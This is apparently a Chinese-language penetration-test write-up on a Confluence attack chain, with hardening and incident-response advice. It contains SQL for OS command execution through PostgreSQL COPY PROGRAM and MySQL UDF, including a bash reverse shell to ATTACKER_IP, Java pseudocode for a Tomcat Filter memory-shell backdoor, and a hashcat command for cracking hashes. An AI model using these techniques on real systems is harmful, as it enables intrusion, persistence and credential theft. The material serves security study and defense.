1. 项目概述一次典型的企业应用安全攻防复盘最近在内部的一次授权渗透测试中遇到了一个运行着Confluence的企业环境。整个过程从发现一个不起眼的漏洞开始最终演变成一次完整的权限提升和数据窃取链条涉及数据库提权、内存马注入以及核心凭据的还原。这不仅仅是技术点的堆砌更是一次对企业应用安全纵深防御体系的实战检验。对于安全从业者、运维人员甚至是开发同学来说理解这个链条的每一个环节都能帮助我们更好地加固自己的系统防患于未然。Confluence作为广泛使用的企业知识管理与协作平台其安全性直接关系到企业内部核心信息的保密性。本次记录将详细拆解从初始访问到获取最高权限的完整路径并深入探讨每一步背后的技术原理与防御思路。2. 攻击链全景与核心思路拆解2.1 攻击链条总览与阶段划分一次成功的渗透测试很少依赖于单一的“神洞”更多是多个漏洞或配置缺陷的串联。本次针对Confluence环境的攻击链可以清晰地划分为四个阶段初始突破阶段寻找并利用一个Web应用层面的漏洞例如一个反序列化、模板注入或路径遍历漏洞获取一个低权限的Webshell或命令执行点。这通常是整个链条的起点。立足点巩固与内网探测阶段在获得初始立足点后进行基础信息收集系统版本、网络配置、运行服务并尝试横向移动寻找更具价值的资产例如数据库服务器。权限提升阶段这是本次记录的核心。当攻击者发现Confluence的数据库通常是PostgreSQL或MySQL并尝试连接时可能会发现数据库用户权限较高。通过利用数据库特性如PostgreSQL的COPY TO/FROM PROGRAM或MySQL的UDF提权或Confluence的数据存储逻辑将数据库权限转化为操作系统权限从而在数据库服务器或应用服务器上执行系统命令。深度利用与凭据获取阶段在获得系统权限后攻击者会尝试驻留如植入内存马、窃取核心数据如Confluence配置文件、数据库备份并最终还原出管理员密码实现对整个Confluence平台乃至关联系统的完全控制。这个链条环环相扣任何一个环节的防御加强都可能中断攻击者的进程。2.2 为什么选择数据库作为提权跳板在攻防对抗中Web应用服务器如运行Confluence的Tomcat通常受到较为严格的监控和防护如WAF、RASP。直接进行系统命令执行或上传文件容易被拦截。然而与之关联的数据库服务器其安全假设往往不同网络可达性Confluence应用服务器通常需要与数据库服务器处于同一内网并且有直接的网络连接。一旦突破Web应用数据库就在“隔壁”。权限配置疏漏为了方便应用运行Confluence连接数据库的用户如confluenceuser往往被授予了较高的数据库权限如超级用户权限SUPER、CREATE FUNCTION等以便执行DDL操作或存储过程。这在运维中很常见但却留下了巨大的安全隐患。功能特性被滥用数据库系统本身提供了一些强大的功能这些功能在设计时是为了方便管理员但在攻击者手中就成了利器。例如PostgreSQL的“大对象”操作、COPY命令执行操作系统命令或者MySQL的用户定义函数UDF机制。因此从Web层漏洞转向攻击数据库层是一种经典的“旁路”思路往往能绕过应用层的安全防护直击防御相对薄弱的后端系统。3. 核心环节一数据库提权技术细节解析3.1 PostgreSQL场景下的命令执行假设目标Confluence使用PostgreSQL作为后端数据库。在获取到数据库连接凭据可能从Confluence的confluence.cfg.xml配置文件中泄露后攻击者会尝试利用PostgreSQL的特性。利用COPY TO/FROM PROGRAM命令PostgreSQL的COPY命令可用于在文件和表之间复制数据。而PROGRAM选项允许执行一个操作系统命令。-- 假设我们已经通过某种方式如SQL注入在confluence数据库中执行了以下语句 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM id; SELECT * FROM cmd_exec;这段SQL会创建一个临时表然后通过COPY FROM PROGRAM执行id命令并将输出结果存入表中最后查询展示。攻击者可以将id替换为任何系统命令如反弹Shell命令。利用“大对象”Large Object和lo_importlo_import函数可以从文件系统读取文件内容作为大对象导入数据库。通过结合pg_largeobject系统表和服务器端编程语言如PL/pgSQL可以构造更复杂的利用链甚至写入文件。例如先通过lo_import将/etc/passwd导入再通过查询将其内容读出。注意高版本的PostgreSQL9.3以上对COPY PROGRAM和某些函数的权限做了更严格的限制默认只有超级用户superuser才能使用。这正是为什么Confluence数据库用户权限过高如此危险的原因。如果连接用户不是超级用户此路可能不通。3.2 MySQL场景下的UDF提权如果Confluence后端是MySQL那么用户定义函数UDF提权是经典手法。其核心思路是利用MySQL允许加载共享库.so或.dll来创建自定义函数的能力从而执行系统命令。关键步骤确认权限首先需要确认当前MySQL用户具有FILE权限用于向服务器写文件和创建函数的权限。SELECT file_priv FROM mysql.user WHERE user CURRENT_USER(); SELECT plugin_dir; -- 查看插件目录路径上传共享库文件攻击者需要将一个包含恶意函数的共享库文件如lib_mysqludf_sys.sofor Linux 或lib_mysqludf_sys.dllfor Windows上传到MySQL服务器的插件目录plugin_dir或任何MySQL有权限读取的目录。上传手段可能通过Web应用的任意文件上传漏洞或利用MySQL的SELECT ... INTO DUMPFILE语句需FILE权限将十六进制内容写入文件。创建UDF函数使用CREATE FUNCTION语句将共享库中的函数映射为MySQL中的可用函数。CREATE FUNCTION sys_exec RETURNS int SONAME lib_mysqludf_sys.so;执行系统命令现在就可以像调用普通MySQL函数一样调用sys_exec来执行系统命令了。SELECT sys_exec(id /tmp/out.txt); SELECT sys_exec(/bin/bash -c \bash -i /dev/tcp/ATTACKER_IP/4444 01\);实操心得插件目录是关键plugin_dir指向的目录是MySQL搜索UDF库的默认路径。将库文件放在这里最可靠。如果无法写入该目录可以尝试写入其他目录并在SONAME中指定绝对路径但这依赖于MySQL的secure_file_priv配置。版本匹配UDF库需要与MySQL服务器版本和操作系统架构x86/x64匹配否则加载会失败。准备多种版本的库文件是实战中的常见做法。动静结合执行命令后输出可能不会直接返回给客户端。通常需要将命令输出重定向到文件然后再通过MySQL读取该文件内容或者直接使用反弹Shell。4. 核心环节二内存马注入与持久化4.1 为什么选择内存马在通过数据库提权获得系统命令执行能力后攻击者通常会在应用服务器如Tomcat上植入一个Webshell。但写入文件的WebshellJSP、PHP文件会被安全软件扫描也容易被运维人员发现文件变更。内存马Memory Shell则完全驻留在服务器的内存中不落盘因此具有极强的隐蔽性。内存马的本质是向正在运行的Java应用如Tomcat动态注册一个恶意的Servlet、Filter或Listener。只要应用不重启这个恶意组件就会一直存在并响应请求。对于Confluence通常部署在Tomcat上Filter型内存马是最常见和稳定的选择。4.2 Filter内存马注入原理Tomcat的Filter是Servlet规范中的组件用于在请求到达Servlet之前或响应发出之前进行拦截处理。攻击者通过Java的反射Reflection和线程上下文类加载器Thread Context Class Loader机制动态地将一个恶意Filter插入到目标Web应用的Filter链中。注入流程拆解获取运行时上下文首先需要获取当前Web应用的ServletContext。这可以通过org.apache.catalina.core.ApplicationContext或从当前线程的类加载器链中寻找。获取StandardContextServletContext的Facade模式背后是Tomcat的ApplicationContext再其背后是StandardContext。StandardContext是Tomcat中表示一个Web应用的核心对象持有Filter的定义和映射信息。创建恶意Filter定义一个实现javax.servlet.Filter接口的类在其doFilter方法中实现Webshell逻辑如接收参数执行命令。这个类的字节码可以通过数据库提权后的命令执行能力直接以Java代码形式编译或更常见的是预先准备好字节码的Base64字符串在内存中通过defineClass加载。动态注册Filter通过反射调用StandardContext的addFilter和addFilterMap等方法将创建好的恶意Filter实例添加到应用中并为其配置一个隐蔽的URL映射如/favicon.ico、/static/..;/bypass等。启动Filter最后需要调用Filter的init方法使其生效。一个高度简化的概念性代码片段实际利用中会更复杂涉及多次反射和异常处理// 伪代码展示核心逻辑 // 1. 获取当前线程的上下文类加载器 ClassLoader webappClassLoader Thread.currentThread().getContextClassLoader(); // 2. 通过反射获取StandardContext对象 Field contextField ... // 一系列反射操作获取ApplicationContext进而获取StandardContext StandardContext standardContext (StandardContext) contextField.get(...); // 3. 定义恶意Filter类 String evilFilterClassName EvilMemShellFilter; byte[] evilClassBytes ... // 恶意Filter的字节码 Class evilFilterClass defineClass(evilFilterClassName, evilClassBytes, webappClassLoader); // 4. 创建Filter定义(FilterDef)和映射(FilterMap) FilterDef filterDef new FilterDef(); filterDef.setFilterClass(evilFilterClass.getName()); filterDef.setFilterName(myEvilFilter); standardContext.addFilterDef(filterDef); FilterMap filterMap new FilterMap(); filterMap.addURLPattern(/*); // 拦截所有请求 filterMap.setFilterName(myEvilFilter); standardContext.addFilterMap(filterMap); // 5. 创建Filter实例并初始化 Filter filter (Filter) evilFilterClass.newInstance(); filter.init(new FilterConfig() { ... }); // 将filter实例存入context的属性中以便后续访问 standardContext.getServletContext().setAttribute(myEvilFilterInstance, filter);完成以上步骤后访问任何匹配的URL请求都会经过这个恶意Filter攻击者通过传递特定参数如?cmdwhoami即可实现远程命令执行。重要提示内存马注入对Java版本、Tomcat版本以及应用本身的Filter链结构非常敏感。不同环境下的获取StandardContext的反射路径可能不同需要做兼容性处理。这也是冰蝎、哥斯拉等工具的内存马模块需要不断更新的原因。5. 核心环节三管理员密码还原与数据窃取5.1 Confluence凭据存储机制Confluence并非直接存储用户的明文密码。它使用一种加盐哈希Salted Hash的方式来存储密码凭证。关键信息位于数据库的cwd_user表中主要字段包括user_name 用户名。credential 密码哈希值。其格式在过去几年有所演变。directory_id 指向用户目录与认证方式相关。在较新版本中Confluence使用基于bcrypt或PBKDF2的哈希算法并会存储一个“盐”salt值。攻击者即使获取了哈希值也无法直接逆向得到密码只能通过暴力破解或彩虹表攻击。5.2 获取与破解密码哈希直接数据库查询在已经具备数据库访问权限的情况下可以直接导出cwd_user表重点关注管理员账户如admin。SELECT user_name, credential, directory_id FROM cwd_user WHERE user_name admin;从配置文件获取Confluence的配置文件confluence.cfg.xml通常位于Confluence的主目录下。该文件不仅包含数据库连接字符串可能含密码在某些配置或旧版本中也可能包含用于加密其他数据的密钥atlassian.security.xml中的security.encryption.private.key。获取这个密钥对解密某些存储的数据至关重要。破解哈希获取到哈希值后可以使用离线密码破解工具如hashcat或John the Ripper进行破解。需要根据哈希格式指定正确的破解模式例如bcrypt对应hashcat的-m 3200。成功率取决于密码的复杂度和攻击者的算力资源。# 示例使用hashcat破解bcrypt哈希 echo $2a$10$SomeSaltSomeHashedValue hash.txt hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt利用备份或缓存文件有时Confluence的备份文件或缓存文件中可能包含临时存储的敏感信息。攻击者在获得系统权限后会全面搜索磁盘寻找包含“password”、“credential”、“hash”等关键词的文件。5.3 完整链条串联从内存马到密码还原至此整个攻击链条可以完整串联起来攻击者通过Web漏洞如CVE-2023-22527获得一个命令执行点。利用该点读取confluence.cfg.xml获取数据库密码。连接数据库发现用户具有高权限利用PostgreSQL的COPY PROGRAM或MySQL UDF在数据库服务器上执行系统命令。通过数据库提权获得的Shell进一步渗透到应用服务器可能数据库与Confluence同机部署或者直接在当前环境下操作。向运行Confluence的Tomcat进程注入Filter内存马建立一个隐蔽的、不落地的持久化后门。通过内存马继续执行命令深入搜索文件系统获取更多的配置文件、数据库备份或日志文件。从数据库或配置文件中提取管理员用户的密码哈希值。在本地使用强大的密码破解工具集对哈希进行离线破解最终还原出明文密码。使用管理员账号密码正常登录Confluence获取所有页面、附件和用户数据的完全访问权限攻击目标达成。6. 防御策略与排查建议6.1 针对各环节的防御加固应用层起点防御及时更新密切关注Atlassian官方安全公告第一时间为Confluence打上安全补丁。绝大多数初始入侵都源于未修复的已知漏洞。最小权限原则运行Confluence的Tomcat服务应使用专用的、低权限的系统用户避免使用root或administrator。部署WAF/RASPWeb应用防火墙和运行时应用自保护可以有效拦截漏洞利用攻击增加攻击成本。数据库层关键跳板防御数据库连接权限最小化为Confluence创建专用的数据库用户并仅授予其必需的权限。绝对不要使用数据库的超级用户如PostgreSQL的postgres MySQL的root。只授予SELECT,INSERT,UPDATE,DELETE,CREATE,DROP等应用运行必需的权限坚决收回FILE,SUPER,PROCESS,COPY PROGRAM等高危权限。网络隔离将数据库服务器置于独立的子网或VPC中严格限制访问来源IP只允许Confluence应用服务器的IP连接数据库的特定端口。数据库自身加固启用数据库的审计日志定期修改数据库密码对于MySQL设置secure_file_priv为受限目录。主机与运行时层最后防线定期排查内存马使用专业的内存马检测工具或脚本进行定期扫描。可以检查Tomcat的StandardContext中的filterDefs和filterMaps寻找未在web.xml中声明的可疑Filter。监控异常网络连接与进程监控服务器上是否存在未知的外联连接或可疑的子进程。文件完整性监控监控confluence.cfg.xml等关键配置文件的变更。强密码策略确保Confluence管理员账户使用高强度、唯一的密码降低哈希被破解的风险。启用多因素认证MFA。6.2 应急响应与排查技巧如果怀疑系统已被入侵可以按以下步骤进行排查检查网络连接使用netstat -antp或ss -antp查看异常的外联IP和端口特别是连接到未知地址的Java进程。检查进程与命令历史查看Tomcat/Java进程的启动参数检查系统命令历史~/.bash_history寻找可疑命令。扫描Webshell使用D盾、河马等Webshell扫描工具对Web目录进行全盘扫描。同时不要忘记内存马的排查。分析访问日志重点分析Confluence访问日志atlassian-confluence-access.log寻找异常的URL访问模式特别是带有常见Webshell参数如cmd、exec、code的请求或者访问路径中带有;、..等特殊字符的请求。数据库审计检查数据库的通用日志或慢查询日志寻找异常的大批量数据查询、COPY、INTO OUTFILE、CREATE FUNCTION等敏感操作语句。对比文件与配置与干净的备份版本对比confluence.cfg.xml、web.xml等关键文件。检查是否有新增的JSP文件或JAR包。重置凭据在隔离环境后立即重置Confluence管理员密码、数据库密码以及服务器SSH密码。整个攻防过程就像一场猫鼠游戏。攻击者在不断寻找防御链条中最薄弱的一环而防御者则需要确保每一环都足够坚固。通过深入理解攻击者的完整链条我们才能更有针对性地构建起真正有效的安全防线。对于企业而言安全不是某个产品而是一个贯穿于系统设计、开发、部署、运维全生命周期的持续过程。